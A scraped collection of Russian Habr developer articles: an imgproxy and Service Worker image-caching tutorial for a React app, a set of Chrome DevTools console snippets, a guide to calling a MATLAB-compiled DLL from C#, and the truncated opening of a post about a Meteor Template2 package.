Мой [сайт](https://yurets.pro/) на HTTP/3 и [github repo](https://github.com/yurymuski/demo-latency), где я считал статистику. Там есть все скрипты, как я это делал, настройки Nginx для каждого случая и дополнительные данные, например, не по 99, а по 50 перцентилю. [Видео](https://clck.ru/XSYSp) моего выступления на HighLoad++ Весна 2021.
> Тех, кто соскучился по профессиональному нетворкингу и хочет быть в курсе всех передовых решений ждёт ещё два HighLoad++ в этом году: 20-21 сентября в [Санкт-Петербурге](https://clck.ru/XSYEv) и 25-26 ноября — в [Москве](https://clck.ru/XSYJG). Питерское [расписание](https://clck.ru/XSYGv) уже готово.
>
> И еще доступен — [бандл](https://clck.ru/XSYAY) из двух конференций: **Saint HighLoad** и **HighLoad++ 2021** c 20% cкидкой. Предложение действительно до 19 сентября 2021 года.
>
> | https://habr.com/ru/post/577158/ | null | ru | null |
# JavaScript: ускоряем загрузку изображений с помощью Imgproxy, Cache API и Service Worker API
Привет, друзья!
В этой статье я хочу поделиться с вами результатами небольшого эксперимента, связанного с ускорением загрузки изображений с помощью [Imgproxy](https://imgproxy.net/), [Cache API](https://developer.mozilla.org/ru/docs/Web/API/Cache) (далее — кеш) и [Service Worker API](https://developer.mozilla.org/ru/docs/Web/API/Service_Worker_API) (далее — СВ).
Мы с вами разработаем простое приложение на [React](https://ru.reactjs.org/), в котором используется несколько изображений, и добьемся того, что загружаемые изображения будут более чем в 10 раз легче (меньше по размеру) оригиналов (`imgproxy`), а также практически мгновенной загрузки (доставки) изображений (СВ и кеш).
*Обратите внимание*: в части, касающейся `imgproxy`, особых препятствий на пути использования рассматриваемого в статье подхода к загрузке изображений в продакшне нет, но в части, касающейся СВ, следует проявлять крайнюю осторожность, поскольку данная технология является экспериментальной — это означает, что поведение СВ во многом определяется конкретной реализацией (браузером), что в ряде случаев делает его довольно непредсказуемым. Возможно, для кеширования изображений лучше предпочесть старые-добрые `HTTP-заголовки` [Cache-Control](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Cache-Control) и [Etag](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/ETag). Но эксперимент на то и эксперимент, чтобы, в том числе, искать новые ответы на старые вопросы.
Для тех, кого интересует только результат эксперимента, вот [репозиторий с исходным кодом проекта](https://github.com/harryheman/Blog-Posts/tree/master/imgproxy-and-cache-api).
Остальных прошу под кат.
*Обратите внимание*: для успешного прохождения туториала на вашей машине должны быть установлены [Node.js](https://nodejs.org/en/) и [Docker](https://www.docker.com/products/docker-desktop).
Создаем директорию, переходим в нее, и создаем шаблон `React-приложения` с помощью [Vite](https://vitejs.dev/):
```
mkdir imgproxy-cache
cd imgproxy-cache
# client - название директории клиента
# --template react - название используемого шаблона
yarn create vite client --template react
# or
npm create vite ...
```
Создаем директорию для медиафайлов (`media`) и внутри нее директорию для изображений (`images`):
```
mkdir media media/images
```
Помещаем в директорию `images` 3 изображения:
Характеристики этих изображений следующие:
* `1.jpeg`: размер — `1880 x 1256`, вес — `594 КБ`, формат — `JPEG`;
* `2.jpeg`: размер — `1880 x 1255`, вес — `283 КБ`, формат — `JPEG`;
* `fallback.jpeg`: размер — `1880 x 1253`, вес — `143 КБ`, формат — `JPEG`.
Создаем файл `docker-compose.yml` с настройками сервиса `imgproxy`:
```
# версия docker
version: '3.9'
services:
# название сервиса
imgproxy:
# образ
image: darthsim/imgproxy:v3.3.0
# файл с переменными среды окружения
env_file:
- .env
# название контейнера
container_name: ${APP_NAME}_imgproxy
# портом по умолчанию, на котором запускается `imgproxy`, является 8080
ports:
- 8080:8080
# том
volumes:
- ./media:/media
# политика перезапуска контейнера
restart: on-failure
```
Создаем файл `.env` следующего содержания:
```
# название приложения
APP_NAME=my-app
# это пригодится нам при "контейнеризации" клиента
NODE_VERSION=16.13.1
# imgproxy
IMGPROXY_PATH_PREFIX=/imgproxy
IMGPROXY_ALLOW_ORIGIN=http://localhost:3000
IMGPROXY_ALLOWED_SOURCES=local://
IMGPROXY_LOCAL_FILESYSTEM_ROOT=/media
IMGPROXY_FALLBACK_IMAGE_PATH=/media/images/fallback.jpeg
IMGPROXY_ENFORCE_WEBP=true
```
Рассмотрим переменные для `imgproxy`:
* `IMGPROXY_PATH_PREFIX` — префикс пути, по которому будет доступен `imgproxy`: `http://localhost:8080/imgproxy`;
* `IMGPROXY_ALLOW_ORIGIN` — разрешенный источник (протокол, домен и порт): только этот источник будет иметь доступ к `imgproxy` (это позволяет в какой-то мере обеспечить секьюрность);
* `IMGPROXY_ALLOWED_SOURCES` — разрешенные источники изображений: в данном случае разрешена загрузка только изображений, находящихся в локальной файловой системе;
* `IMGPROXY_LOCAL_FILESYSTEM_ROOT` — директория в локальной файловой системе, из которой загружаются изображения (`/media`);
* `IMGPROXY_FALLBACK_IMAGE_PATH` — путь к резервному изображению: данное изображение возвращается при запросе отсутствующего файла;
* `IMGPROXY_ENFORCE_WEBP` — если браузер пользователя поддерживает [WebP](https://ru.wikipedia.org/wiki/WebP), возвращается изображение в этом формате.
С полным списком переменных среды окружения для `imgproxy` можно ознакомиться [здесь](https://docs.imgproxy.net/configuration).
Поднимаем сервис с помощью команды `docker compose up -d`:
Видим, что сервис `imgproxy-and-cache-api` с контейнером `my-app_imgproxy` успешно запущен.
К слову, для остановки сервиса используется команда `docker compose stop`, а для удаления сервиса — `docker compose rm`.
Теперь займемся клиентом.
Структура директории `client/src` будет следующей:
```
src
utils
image.utils.js
App.css
App.jsx
main.jsx
```
Реализуем утилиту для формирования валидного с точки зрения `imgproxy` пути к изображению (`utils/image.utils.js`):
```
const BASE_IMAGE_URL = 'http://localhost:8080/imgproxy/insecure'
// rt - это тип масштабирования изображения (resize type)
export const getImageUrl = ({ rt = 'fill', width = 480, height = 320, src = 'fallback.jpeg' }) =>
`${BASE_IMAGE_URL}/rs:${rt}:${width}:${height}/plain/local:///images/${src}`
```
В пути мы определяем тип масштабирования (заполнение контейнера), ширину и высоту изображения. В остальном мы полагаемся на дефолтные настройки `imgproxy`.
*Обратите внимание*: мы можем опустить `/media`, поскольку определили `IMGPROXY_LOCAL_FILESYSTEM_ROOT`.
Если мы передадим данной утилите `src: '1.jpeg'`, то на выходе получим `http://localhost:8080/imgproxy/insecure/rs:fill:480:320/plain/local:///images/1.jpeg`.
Подробнее о генерации пути к изображению для `imgproxy` можно почитать [здесь](https://docs.imgproxy.net/generating_the_url).
*Обратите внимание*: мы используем небезопасный способ получения изображений (`insecure`) (не считая того, что мы определили `IMGPROXY_ALLOW_ORIGIN`). О добавлении в путь подписи (signature) можно почитать [здесь](https://docs.imgproxy.net/signing_the_url), а пример функции на `JavaScript` для генерации подписи можно найти [здесь](https://github.com/imgproxy/imgproxy/blob/master/examples/signature.js).
Рассмотрим основной компонент приложения (`App.jsx`):
```
import './App.css'
// импортируем утилиту для формирования пути к изображению
import { getImageUrl } from './utils/image.utils'
function App() {
return (
Imgproxy & Cache API
====================
First image
Second image with custom width
Fallback image
)
}
export default App
```
В разметке мы пытаемся получить 3 изображения:
* `1.jpeg` с дефолтными настройками;
* `2.jpeg` с кастомной шириной;
* несуществующее изображение `3.jpeg`.
Находясь в директории `client`, выполняем команду `yarn dev` для запуска приложения и открываем вкладку браузера по адресу `http://localhost:3000`.
Видим, что изображения успешно загрузились. Причем, второе изображение квадратное, а вместо несуществующего файла `imgproxy` вернул резервное изображение (`fallback.jpeg`).
Откроем инструменты разработчика, перейдем на вкладку `Network` и выберем `Img`:
*Обратите внимание* на поля `Type` и `Size`: `imgproxy` вернул изображения в формате `WebP` и весят они более чем в 10 раз меньше оригиналов: `42.7`, `21.4` и `10.9` Кб. Что касается размеров изображений, то они соответствуют заданным настройкам: `480x320`, `320x320` и `480x320`.
Изучим подробности какого-нибудь ответа `imgproxy`, например, для `1.jpeg`.
Здесь нас интересуют следующие поля:
* `Request URL` — путь к изображению, сформированный нашей утилитой;
* `Content-Length` — размер изображения;
* `Content-Type` — формат изображения;
* `Accept` — по этому заголовку `imgproxy` определяет поддержку форматов изображений браузером пользователя.
Таким образом, мы успешно решили первую часть задачи: добились уменьшения размеров изображений более чем в 10 раз и преобразования их форматов в `WebP`. Однако если изучить значения поля `Time` на вкладке `Network`, то мы увидим, что время загрузки изображений составляет `300-600 мс`. Допустим, что такое время является для нас неприемлемым. Что мы можем сделать, чтобы его уменьшить?
Ответ — кешировать изображения при первоначальном запуске приложения и впоследствии доставлять изображения из кеша. Существует несколько способов это сделать. Я решил прибегнуть к помощи СВ.
Сервис-воркер — это своего рода посредник между клиентом и сервером. Он может перехватывать `HTTP-запросы`, имеет доступ к `Cache API` и может общаться с приложением через [Channel Messaging API](https://developer.mozilla.org/en-US/docs/Web/API/Channel_Messaging_API). За счет кеширования критически важных для работы приложения ресурсов можно добиться того, что приложение будет работать даже при отсутствии подключения к сети (в режиме офлайн).
Рекомендую полистать [соответствующую спецификацию](https://w3c.github.io/ServiceWorker/).
Зарегистрируем СВ для нашего приложения. Для этого в `client/index.html` добавляем такие строки:
```
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('./sw.js').catch(console.error)
}
```
Здесь мы проверяем поддержку СВ браузером и запускаем выполнение кода из файла `sw.js`.
Для того, чтобы наш СВ попал в сборку приложения, необходимо немного настроить `vite`. Для этого добавляем такую строку в `vite.config.js`:
```
export default defineConfig({
// !
publicDir: './sw',
plugins: [react()]
})
```
Здесь мы сообщаем `vite`, что директория `sw` содержит статические файлы нашего приложения. Создаем эту директорию и в ней файл `sw.js` следующего содержания:
```
// название кеша
// для инвалидации кеша достаточно изменить это название,
// например, на my-app_images-v2
const CACHE_NAME = 'my-app_images-v1'
// обработка активации нового СВ
// удаляем старый кеш - кеш с другими названиями (например, предыдущей версии)
self.addEventListener('activate', (event) => {
event.waitUntil(
caches.keys().then((keys) =>
Promise.all(
keys.map((key) => {
// не трогаем не наш кеш
if (key.includes('my-app-images') && key !== CACHE_NAME) {
return caches.delete(key)
}
})
)
)
)
self.clients.claim()
})
// обрабатываем выполнение запроса из приложения (перехват запроса)
self.addEventListener('fetch', (event) => {
// извлекаем путь из объекта запроса
const { url } = event.request
// извлекаем название пути из разобранного пути запроса
const { pathname } = new URL(url)
// если название пути включает слово `imgproxy`
if (pathname.includes('imgproxy')) {
console.log(pathname)
// возвращаем ответ
event.respondWith(
caches
// проверяем наличие в кеше ответа для данного названия пути
.match(pathname)
.then(async (response) => {
// если такой ответ имеется
if (response) {
console.log('Image from cache')
// возвращаем его
return response
}
// если ответа в кеше для данного названия пути нет
// выполняем запрос к `imgproxy`
return fetch(event.request).then((response) =>
// открываем наш кеш
caches.open(CACHE_NAME).then((cache) => {
// записываем ответ от `imgproxy` в кеш
cache.put(pathname, response.clone())
// и возвращаем ответ
return response
})
)
})
.catch(console.error)
)
}
})
```
Посмотрим, как это работает (и работает ли?).
Перезапускаем сервер для клиента.
Изображения загружаются. В консоли имеются сообщения от СВ с названиями путей, содержащими `imgproxy`.
На вкладке `Network` можно увидеть, что запросы перехватываются СВ (почему-то в поле `Size`):
*Обратите внимание*: самым простым способом очистить кеш и "убить" СВ является нажатие кнопки `Clear site data` на вкладке `Application` в разделе `Storage` (убедитесь в наличии галочки у `Unregister service workers` в разделе `Application`):
Перезагружаем вкладку браузера:
Получаем от СВ сообщения о доставке изображений из кеша. На вкладке `Network` видим, что изображения загружаются практически мгновенно (`3-5 мс`). Кажется, что мы успешно решили вторую часть задачи. Не совсем.
**Особенность номер один**
Если изучить подробности выполнения запроса на вкладке `Network`, можно заметить отсутствие заголовка запроса `Accept`. Что это означает? Это означает риск того, что `imgproxy` будет возвращать изображения в формате `WebP` даже для тех браузеров, которые данный формат не поддерживают (потому что мы определили `IMGPROXY_ENFORCE_WEBP=true`). Это может закончиться тем, что браузер получит изображения, но не сможет их отрендерить. В чем причина отсутствия заголовка `Accept` в запросе?
На самом деле все просто. Наши запросы перехватываются и выполняются СВ. Если на вкладке `Network` выбрать `Fetch/XHR`, то можно увидеть дублирующиеся запросы, выполняемые СВ, в которых заголовок `Accept` присутствует:
Здесь есть один интересный момент.
Посмотрим на ответ, который возвращается `imgproxy`. Для этого добавим такую строку в `sw.js`:
```
return fetch(event.request).then((response) =>
caches.open(CACHE_NAME).then((cache) => {
// !
console.log(response)
cache.put(pathname, response.clone())
return response
})
)
```
Выполняем запросы:
Получаем в консоли странные объекты ответов с непрозрачным типом (`type: 'opaque'`) и `ok: false`. К слову, если мы установим ограничение на запись в кеш только успешных запросов (в ответ на которые возвращаются ответы с `ok: true`):
```
return fetch(event.request).then((response) =>
caches.open(CACHE_NAME).then((cache) => {
console.log(response)
// !
if (response.ok) {
cache.put(pathname, response.clone())
}
return response
})
)
```
То наши изображения не будут кешироваться.
Если не вдаваться в подробности, суть здесь вот в чем: запрос на получение изображения выполняется с `mode: 'no-cors'` и `credentials: include`. В большинстве случаев это хорошо, поскольку позволяет получать изображения из других источников без настройки [CORS](https://developer.mozilla.org/ru/docs/Web/HTTP/CORS). Когда браузер при разборе `html` встречает тег `img`, он выполняет `fetch` по адресу, указанному в `src`. При этом браузер автоматически формирует заголовок запроса `Accept`, в том числе, на основе значения поля `destination` объекта запроса (для `img` поле `destination` имеет значение `image`). В ответ на запрос с такими настройками возвращаются непрозрачные ответы.
Существует ли какой-то способ получить нормальные объекты ответов? Мы можем попробовать определить (перезаписать) настройки `mode` и `credentials` при выполнении `fetch` в СВ:
```
// !
return fetch(event.request, {
mode: 'cors',
credentials: 'omit'
}).then((response) =>
caches.open(CACHE_NAME).then((cache) => {
console.log(response)
if (response.ok) {
cache.put(pathname, response.clone())
}
return response
})
)
```
Теперь при выполнении запросов мы получаем ответы с `type: 'cors'` и `ok: true`. Это означает, что теперь ответы соответствуют условию `if (response.ok)` и изображения будут кешироваться. К слову, проверка `cors` при выполнении запроса на получение изображения от `imgproxy` вполне согласуется с `IMGPROXY_ALLOW_ORIGIN=http://localhost:3000`.
Еще один интересный момент.
Если мы поместим в директорию `images` фавиконку `favicon.png`:
И выполним запрос на ее получение в приложении (`App.jsx`):
```
useEffect(() => {
// шаблон фавиконки
const faviconTemplate = ``
// HTML-элемент `link`
const favicon$ = new Range().createContextualFragment(faviconTemplate)
.children[0]
// вставляем фавиконку в `head`
document.head.append(favicon$)
}, [])
```
То к своему удивлению обнаружим, что фавиконка не кешируется, а каждый раз запрашивается у `imgproxy`. Судя по тому, что мы не получаем путь к фавиконке в консоли (от СВ), при ее запросе используется какой-то другой механизм, нежели `fetch` (поскольку события `fetch` не возникает, СВ не может перехватить запрос на получение фавиконки).
Двигаемся дальше.
**Особенность номер два**
В режиме для разработки приложение работает, как ожидается. Но будет ли оно работать также в производственном режиме.
Установим [serve](https://www.npmjs.com/package/serve) для обслуживания сборки клиента:
```
yarn add serve
# or
npm i serve
```
И добавим команду для сборки клиента и запуска `serve` в `package.json`:
```
"scripts": {
"dev": "vite",
"build": "vite build",
"start": "yarn build && serve -s dist -p 3000"
}
```
Команда `start` выполняет сборку клиента (с помощью `vite`) и запускает обслуживание статических файлов из директории `dist` по адресу `http://localhost:3000`.
Давайте "контейнеризуем" нашего клиента. Для этого создаем в директории `client` файл `Dockerfile` следующего содержания:
```
# дефолтная версия `Node.js`
ARG NODE_VERSION=16.13.1
FROM node:$NODE_VERSION
# рабочая директория
WORKDIR /client
# копируем указанные файлы
COPY package.json yarn.lock ./
# устанавливаем зависимости
RUN yarn
# копируем все остальное
COPY . .
# выполняем сборку и запускаем `serve`
CMD ["yarn", "start"]
```
Определяем настройки сервиса `client` в `docker-compose.yml`:
```
version: '3.9'
services:
imgproxy:
image: darthsim/imgproxy:v3.3.0
env_file:
- .env
container_name: ${APP_NAME}_imgproxy
ports:
- 8080:8080
volumes:
- ./media:/media
restart: on-failure
# !
client:
env_file:
- .env
container_name: ${APP_NAME}_client
# сборка выполняется на основе `Dockerfile` из директории `client`
build: client
ports:
- 3000:3000
restart: on-failure
```
Запускаем (перезапускаем) сервис с помощью команды `docker compose up -d`:
Видим, что наш сервис теперь состоит из двух контейнеров: `my-app_imgproxy` и `my-app_client`. Клиент, как и прежде, доступен по адресу `http://localhost:3000`.
Запускаем приложение. Изображения загружаются, СВ регистрируется.
Перезагружаем вкладку браузера. Мы ожидаем, что наши изображения будут доставлены из кеша, но этого не происходит!
Перезагружаем вкладку еще раз:
Теперь изображения доставляются из кеша, но это не совсем то, что мы хотим. Мы хотим, чтобы изображения кешировались после первого запуска приложения. Почему этого не происходит?
Опять же, если не вдаваться в подробности, суть такая: код СВ выполняется в фоновом режиме и асинхронно, поэтому СВ просто не успевает активироваться (activate) до выполнения запросов на получение изображений при первом запуске приложения. При повторном запуске СВ активирован (activated), перехватывает запросы и помещает изображения в кеш. При третьем запуске СВ активирован, перехватывает запросы и возвращает изображения из кеша.
Следовательно, нам необходимо дождаться активации СВ перед первым рендерингом приложения или хотя бы перед выполнением запросов на получение изображений. Существует как минимум 2 способа это сделать:
* рендерить все приложение после активации сервис воркера (я выбрал это решение; нашел я его [здесь](https://stackoverflow.com/questions/61430024/how-do-i-load-a-service-worker-before-all-other-requests));
* рендерить разный контент приложения в зависимости от ожидания/получения от СВ сообщения о его активации через `Channel Messaging API` (это решение показалось мне слишком громоздким; пример данного решения можно найти [здесь](https://habr.com/ru/post/351194/) (см. комментарии)).
Для того, чтобы рендеринг приложения происходил только после активации СВ необходимо немного переписать код, содержащийся в файле `client/main.jsx`:
```
import React from 'react'
import ReactDOM from 'react-dom'
import App from './App'
// выносим рендеринг приложения в отдельную функцию
const render = () =>
ReactDOM.render(
,
document.getElementById('root')
)
if ('serviceWorker' in navigator) {
navigator.serviceWorker
.register('./sw.js')
.then((reg) => {
// если происходит установка СВ
if (reg.installing) {
// получаем устанавливаемый СВ
const sw = reg.installing || reg.waiting
// обрабатываем изменения состояния СВ
sw.onstatechange = () => {
// рендерим приложение после активации СВ
if (sw.state === 'activated') {
render()
}
}
} else {
// если СВ уже установлен, просто рендерим приложение
render()
}
})
.catch(console.error)
} else {
// если СВ не поддерживается браузером, рендерим приложение
render()
}
```
Соответственно, в `index.html` можно удалить эти строки:
```
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('./sw.js').catch(console.error)
}
```
Выполняем команду `docker compose up -d`.
Теперь кеширование изображений происходит при первом запуске приложения, в чем можно убедиться, запустив приложение и перезагрузив вкладку браузера.
Таким образом, мы успешно решили обе задачи: добились уменьшения размера изображений более чем в 10 раз и преобразования формата изображений в `WebP`, а также практически мгновенной загрузки изображений при втором и последующих запусках приложения.
Пожалуй, это все, чем я хотел поделиться с вами в данной статье.
Благодарю за внимание и happy coding!
---
[](https://cloud.timeweb.com/vds-promo-6-rub?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/655775/ | null | ru | null |
# Сниппеты для Chrome DevTools
Возможности встроенного в браузер инструмента Chrome Developer Tools можно расширить с помощью сниппетов. Это ускоряет разработку и упрощает рабочий процесс. Хорошая коллекция сниппетов есть [на GitHub'е](http://bgrins.github.io/devtools-snippets/).
#### Сниппеты в Google Chrome
Подробно о функциях сниппетов можно почитать в [официальной документации Chrome](https://developers.google.com/chrome-developer-tools/docs/authoring-development-workflow#snippets). А вот краткая инструкция:
1. Зайти в «chrome://flags» — Отметить «Enable Developer Tools experiments».
2. Открыть DevTools: «Settings» — «Developer Tools Experiments» — Отметить «Snippets support».
3. После перезагрузки во вкладке DevTools «Sources» появится «Snippets», где можно управлять сниппетами:
#### Сниппеты в Firefox
Можно включить поддержку сниппетов и в Firefox:
1. Меню «Tools» — «Web Developer» — «Scratchpad».
2. Вставить сниппеты и запустить (Cmd-R / Ctrl-R).
3. Меню «File»-«Save», затем «File»-«Open Recent» для повторного использования.
#### [JQuerify.js](http://bgrins.github.io/devtools-snippets/snippets/jquerify.js)
Включает поддержку jQuery там, где ее нет.
**Код сниппета**
```
(function () {
if ( !window.jQuery ) {
var s = document.createElement('script');
s.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js');
document.body.appendChild(s);
console.log('jquery loaded!');
}
})();
```
А вот и сами сниппеты:
#### [Allcolors.js](http://bgrins.github.io/devtools-snippets/snippets/allcolors.js)
Выводит все цвета, использованные в color, background-color, and border-color.
**Код сниппета**
```
(function () {
var allColors = {};
var props = ["background-color", "color", "border-top-color", "border-right-color", "border-bottom-color", "border-left-color"];
var skipColors = { "rgb(0, 0, 0)": 1, "rgba(0, 0, 0, 0)": 1, "rgb(255, 255, 255)": 1 };
[].forEach.call(document.querySelectorAll("*"), function (node) {
var nodeColors = {};
props.forEach(function (prop) {
var color = window.getComputedStyle(node, null).getPropertyValue(prop);
if (color && !skipColors[color]) {
if (!allColors[color]) {
allColors[color] = {
count: 0,
nodes: []
};
}
if (!nodeColors[color]) {
allColors[color].count++;
allColors[color].nodes.push(node);
}
nodeColors[color] = true;
}
});
});
var allColorsSorted = [];
for (var i in allColors) {
allColorsSorted.push({
key: i,
value: allColors[i]
});
}
allColorsSorted = allColorsSorted.sort(function (a, b) {
return b.value.count - a.value.count;
});
var nameStyle = "font-weight:normal;";
var countStyle = "font-weight:bold;";
var colorStyle = function (color) {
return "background:" + color + ";color:" + color + ";border:1px solid #333;";
};
console.group("All colors used in elements on the page");
allColorsSorted.forEach(function (c) {
console.groupCollapsed("%c %c " + c.key + " %c(" + c.value.count + " times)",
colorStyle(c.key), nameStyle, countStyle);
c.value.nodes.forEach(function (node) {
console.log(node);
});
console.groupEnd();
});
console.groupEnd("All colors used in elements on the page");
})();
```
#### [Showheaders.js](http://bgrins.github.io/devtools-snippets/snippets/showheaders.js)
Удобно выводит HTTP заголовки, используется console.table.
**Код сниппета**
```
(function() {
var request=new XMLHttpRequest();
request.open('HEAD',window.location,false);
request.send(null);
var headers = request.getAllResponseHeaders();
var tab = headers.split("\n").map(function(h) {
return { "Key": h.split(": ")[0], "Value": h.split(": ")[1] }
}).filter(function(h) { return h.Value !== undefined; });
console.group("Request Headers");
console.log(headers);
console.table(tab);
console.groupEnd("Request Headers");
})();
```
#### [Dataurl.js](http://bgrins.github.io/devtools-snippets/snippets/dataurl.js)
Конвертирует все изображения на странице в Data URL (Работает только на картинках в том же домене, что и сайт).
**Код сниппета**
```
(function() {
console.group("Data URLs");
[].forEach.call(document.querySelectorAll("img"), function(i) {
var c = document.createElement("canvas");
var ctx = c.getContext("2d");
c.width = i.width;
c.height = i.height;
try {
ctx.drawImage(i, 0, 0);
console.log(i, c.toDataURL());
}
catch(e) {
console.log(i, "No Permission - try opening this image in a new tab and running the snippet again?", i.src);
}
});
[].forEach.call(document.querySelectorAll("canvas"), function(c) {
try {
console.log(c, c.toDataURL());
}
catch(e) {
console.log(c, "No Permission");
}
});
console.groupEnd("Data URLs");
})();
```
#### [Performance.js](http://bgrins.github.io/devtools-snippets/snippets/performance.js)
Выводит информацию о [window.performance object](https://developer.mozilla.org/en-US/docs/Navigation_timing).
**Код сниппета**
```
(function () {
var t = window.performance.timing;
var timings = [];
timings.push({
label: "Time Until Page Loaded",
time: t.loadEventEnd - t.navigationStart + "ms"
});
timings.push({
label: "Time Until DOMContentLoaded",
time: t.domContentLoadedEventEnd - t.navigationStart + "ms"
});
timings.push({
label: "Total Response Time",
time: t.responseEnd - t.requestStart + "ms"
});
timings.push({
label: "Connection",
time: t.connectEnd - t.connectStart + "ms"
});
timings.push({
label: "Response",
time: t.responseEnd - t.responseStart + "ms"
});
timings.push({
label: "Domain Lookup",
time: t.domainLookupEnd - t.domainLookupStart + "ms"
});
timings.push({
label: "Load Event",
time: t.loadEventEnd - t.loadEventStart + "ms"
});
timings.push({
label: "Unload Event",
time: t.unloadEventEnd - t.unloadEventStart + "ms"
});
timings.push({
label: "DOMContentLoaded Event",
time: t.domContentLoadedEventEnd - t.domContentLoadedEventStart + "ms"
});
var navigation = window.performance.navigation;
var navigationTypes = { };
navigationTypes[navigation.TYPE_NAVIGATENEXT || 0] = "Navigation started by clicking on a link, or entering the URL in the user agent's address bar, or form submission.",
navigationTypes[navigation.TYPE_RELOAD] = "Navigation through the reload operation or the location.reload() method.",
navigationTypes[navigation.TYPE_BACK_FORWARD] = "Navigation through a history traversal operation.",
navigationTypes[navigation.TYPE_UNDEFINED] = "Navigation type is undefined.",
console.group("window.performance");
console.log(window.performance);
console.group("Navigation Information");
console.log(navigationTypes[navigation.type]);
console.log("Number of redirects that have taken place: ", navigation.redirectCount)
console.groupEnd("Navigation Information");
console.group("Timing");
console.log(window.performance.timing);
console.table(timings);
console.groupEnd("Timing");
console.groupEnd("window.performance");
})();
```
#### [Formcontrols.js](http://bgrins.github.io/devtools-snippets/snippets/formcontrols.js)
Выводит в удобном табличном виде данные всех форм на странице.
**Код сниппета**
```
(function() {
var forms = document.querySelectorAll("form");
for (var i = 0, len = forms.length; i < len; i++) {
var tab = [ ];
console.group("HTMLForm \"" + forms[i].name + "\": " + forms[i].action);
console.log("Element:", forms[i], "\nName: "+forms[i].name+"\nMethod: "+forms[i].method.toUpperCase()+"\nAction: "+forms[i].action || "null");
["input", "textarea", "select"].forEach(function (control) {
[].forEach.call(forms[i].querySelectorAll(control), function (node) {
tab.push({
"Element": node,
"Type": node.type,
"Name": node.name,
"Value": node.value,
"Pretty Value": (isNaN(node.value) || node.value === "" ? node.value : parseFloat(node.value))
});
});
});
console.table(tab);
console.groupEnd();
}
})();
```
Остальные, не менее полезные сниппеты, смотрите [на странице GitHub](http://bgrins.github.io/devtools-snippets/). | https://habr.com/ru/post/192902/ | null | ru | null |
# Как подружить MATLAB DLL и C#
Когда есть желание пользоваться m-файлами на стороне, например, впихнуть хорошо работающие методы аппроксимации из Curve Fitting Toolbox в какую нибудь стороннюю свою разработку, можно скомпилировать dll-библиотеку и использовать ее по своему разумению.
Данная статья - кратко по шагам действия.
Инструменты:
* MATLAB 2022a
+ MATLAB Compiler Runtime
* VS Community C# 2020
Итак, приступим.
Сборка DLL
----------
В матлабе создаем m-файл с желаемой функцией, например такой
```
function koeffs = solve_lsm(n,x,y,wts)
str = strcat('poly',num2str(n));
opts = fitoptions('Weights',wts);
ftype = fittype(str);
result = fit(x',y',ftype,opts);
koeffs = coeffvalues(result)';
end
```
В командной строке матлаба вызываем deploytool, в окошке выбираем Library Compiler
В появившемся окне указываем данные: название библиотеки, версия, разработчик и другие. Из важного:
* Окошко TYPE выбираем ".NET Assembly"
* Окошко EXPORTED FUNCTIONS добавляем m-файлы с нужными нам функциями.
* Внизу поле Class Name задаем имя класса, содержащего создаваемые нами фунции
* Так же по желанию можно выбрать способ загрузки Matlab Runtime
Нажимаем галочку Package
Формируются папки:
В папке for\_redistribution можно запустить MyAppInstaller\_web.exe, чтобы установить Matlab Runtime, который распространяется бесплатно и, соответственно, на компьютерах пользователей вашим ПО с созданной DLL не нужны дополнительные лицензии, достаточно установить Matlab Runtime и Framework.
Подключение DLL в проект VS C# 2020
-----------------------------------
Создаем консольное приложение (.NET Framework)
Подключаем две библиотеки: созданную нами LSMLib и поставляемую вместе с Matlab библиотеку MVArray. По умолчанию она находится тут: MATLAB\R2022a\toolbox\dotnetbuilder\bin\win64\v4.0\
```
using MathWorks.MATLAB.NET.Arrays;
using MathWorks.MATLAB.NET.Utility;
using LSMLib;
```
Пишем код, что-то вроде этого:
```
//пример массивов, которые будем аппроксимировать
double n = 3;
double[] x = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 };
double[] y = {3,5,4,6,7,7,4,5,6,7,8,9,6,6,7};
double[] wts = {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1};
//вызов нашей функции из библиотеки
LSMLib.LSMLib test = new LSMLib.LSMLib();
MWArray res = test.solve_lsm((MWArray)n, (MWNumericArray)x, \
(MWNumericArray)y, (MWNumericArray)wts);
```
Если нужно преобразовать массив матлаба в список, можно сделать например так:
```
//обработка возвращаемых коэффициентов и перевод их в обычный список
var array = (MWNumericArray)res;
var dd = (double[,])array.ToArray(MWArrayComponent.Real);
List koeffs = new List();
for (int i = 0; i < dd.Length; i++)
{
koeffs.Add(dd[i, 0]);
}
```
Компилируем. Обязательно выбираем среду, у меня x64
Исходник на [гитхабе](https://github.com/MariaKudryashova/mathdll)
Литература:
<https://habr.com/ru/post/132487/>
<https://www.youtube.com/watch?v=5qDkr4GKwAw> | https://habr.com/ru/post/661223/ | null | ru | null |
# Meteor + MVVM = ❤
Тут мелькнула статья, как чувак, выбирая инструментарий, ничего не мог написать. Это про меня! Под Новый год нашёл [ViewModel.org](https://viewmodel.org/). А внутри прекрасный [Two-Way Binding](https://en.wikipedia.org/wiki/Binding_properties_pattern). Но не проходит ощущение ящика в гараже, заваленного гаечными ключами вперемешку с "лишними" деталями. Наглядный пример, как в собственной же демке пришлось ввернуть [костыль](https://github.com/ManuelDeLeon/phonebook/blob/master/client/body/main/contacts/editContact/editContact.js#L13), гы-гы. И я застрял на четыре месяца — хобби по вечерам после работы. [Перебрал все пакеты](https://github.com/comerc/meteor-template2#inspired-by), хоть как-то полезные для Blaze. Приставал к авторам с мольбами… Собрал в итоге новый велосипед с громким именем [Template2](https://github.com/comerc/meteor-template2).
Очень сложно сделать просто, как известно. Зацените:
* Совместимость с [Blaze Template](http://ru.discovermeteor.com/chapters/templates/). Мы его любим.
* Минимальные изменения для миграции вашего гениального проекта.
* Декларация переменных модели нужна только один раз через атрибут (что отдельно полезно для дебага кода пришельцев).
* Валидация входных данных и получение ассоциативного массива документа для записи в Mongo — это всё вообще без кодинга.
* Поддержка SimpleSchema и возможность расширения для других моделей (только что вышла [Astronomy 2.0](https://github.com/jagi/meteor-astronomy), например).
```
{{> hello param="123"}}
props.param {{props.param}}
state.value {{state.value}}
Submit
{{state.errorMessages}}
```
```
// Тюнинг - наше всё!
Template2('hello', {
